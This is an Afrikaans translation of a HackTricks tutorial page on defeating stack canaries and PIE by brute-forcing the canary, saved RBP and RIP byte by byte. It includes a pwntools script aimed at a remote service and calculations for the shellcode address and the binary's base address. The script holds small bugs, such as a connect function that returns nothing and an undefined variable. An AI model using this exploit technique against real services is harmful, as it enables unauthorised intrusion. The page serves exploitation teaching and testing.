hacktricks/binary-exploitation/common-binary-protections-and-bypasses/pie/bypassing-canary-and-pie.md

6.7 KiB

BF Adres in die Stokkie

Leer AWS-hacking vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

As jy te make het met 'n binêre lêer wat beskerm word deur 'n kanarie en PIE (Position Independent Executable) moet jy waarskynlik 'n manier vind om hulle te omseil.

{% hint style="info" %} Let daarop dat checksec dalk nie vind dat 'n binêre lêer beskerm word deur 'n kanarie as dit staties saamgestel is en nie in staat is om die funksie te identifiseer nie.
Jy kan dit egter handmatig opmerk as jy vind dat 'n waarde aan die begin van 'n funksieoproep in die stokkie gestoor word en hierdie waarde voor die uittrede nagegaan word. {% endhint %}

Brute-Force Adres

Om die PIE te omseil moet jy 'n paar adresse lek. En as die binêre lêer nie enige adresse lek nie, is die beste om dit te doen om die RBP en RIP wat in die stokkie gestoor is, te brute-force in die kwesbare funksie.
Byvoorbeeld, as 'n binêre lêer beskerm word deur beide 'n kanarie en PIE, kan jy begin met die brute-force van die kanarie, dan sal die volgende 8 Bytes (x64) die gestoorde RBP wees en die volgende 8 Bytes sal die gestoorde RIP wees.

{% hint style="success" %} Dit word veronderstel dat die terugkeeradres binne die stokkie behoort aan die hoof binêre kode, wat, as die kwesbaarheid in die binêre kode geleë is, gewoonlik die geval sal wees. {% endhint %}

Om die RBP en die RIP van die binêre lêer te brute-force kan jy uitvind dat 'n geldige gerate byte korrek is as die program iets uitvoer of dit net nie afkrap nie. Dieselfde funksie as die een wat voorsien is vir die brute-force van die kanarie kan gebruik word om die RBP en die RIP te brute-force:

from pwn import *

def connect():
r = remote("localhost", 8788)

def get_bf(base):
canary = ""
guess = 0x0
base += canary

while len(canary) < 8:
while guess != 0xff:
r = connect()

r.recvuntil("Username: ")
r.send(base + chr(guess))

if "SOME OUTPUT" in r.clean():
print "Guessed correct byte:", format(guess, '02x')
canary += chr(guess)
base += chr(guess)
guess = 0x0
r.close()
break
else:
guess += 1
r.close()

print "FOUND:\\x" + '\\x'.join("{:02x}".format(ord(c)) for c in canary)
return base

# CANARY BF HERE
canary_offset = 1176
base = "A" * canary_offset
print("Brute-Forcing canary")
base_canary = get_bf(base) #Get yunk data + canary
CANARY = u64(base_can[len(base_canary)-8:]) #Get the canary

# PIE BF FROM HERE
print("Brute-Forcing RBP")
base_canary_rbp = get_bf(base_canary)
RBP = u64(base_canary_rbp[len(base_canary_rbp)-8:])
print("Brute-Forcing RIP")
base_canary_rbp_rip = get_bf(base_canary_rbp)
RIP = u64(base_canary_rbp_rip[len(base_canary_rbp_rip)-8:])

Die laaste ding wat jy nodig het om die PIE te verslaan is om nuttige adresse van die uitgelekte adresse te bereken: die RBP en die RIP.

Vanaf die RBP kan jy bereken waar jy jou shell in die stok skryf. Dit kan baie nuttig wees om te weet waar jy die string "/bin/sh\x00" binne die stok gaan skryf. Om die afstand tussen die uitgelekte RBP en jou shell-kode te bereken, kan jy net 'n afbreekpunt plaas na die uitlek van die RBP en kyk waar jou shell-kode geleë is, daarna kan jy die afstand tussen die shell-kode en die RBP bereken:

INI_SHELLCODE = RBP - 1152

Van die RIP kan jy die basisadres van die PIE-binêre lêer bereken wat jy nodig gaan hê om 'n geldige ROP-ketting te skep.
Om die basisadres te bereken, doen net objdump -d vunbinary en kyk na die ontleed van die nuutste adresse:

In daardie voorbeeld kan jy sien dat slegs 1 Byte en 'n half nodig is om al die kode te vind, dan sal die basisadres in hierdie situasie die uitgelekte RIP wees, maar eindig op "000". Byvoorbeeld as jy 0x562002970ecf uitgelek het, is die basisadres 0x562002970000

elf.address = RIP - (RIP & 0xfff)

Verbeterings

Volgens 'n paar waarnemings uit hierdie pos, is dit moontlik dat wanneer RBP- en RIP-waardes lek, die bediener nie sal vasloop met sommige waardes wat nie die korrekte is nie en die BF-skrip sal dink hy het die goeie een gekry. Dit is omdat dit moontlik is dat sommige adresse dit net nie sal breek selfs al is dit nie presies die regte nie.

Volgens daardie blogpos word dit aanbeveel om 'n kort vertraging tussen versoeke aan die bediener in te voer.

Leer AWS-hacking vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun: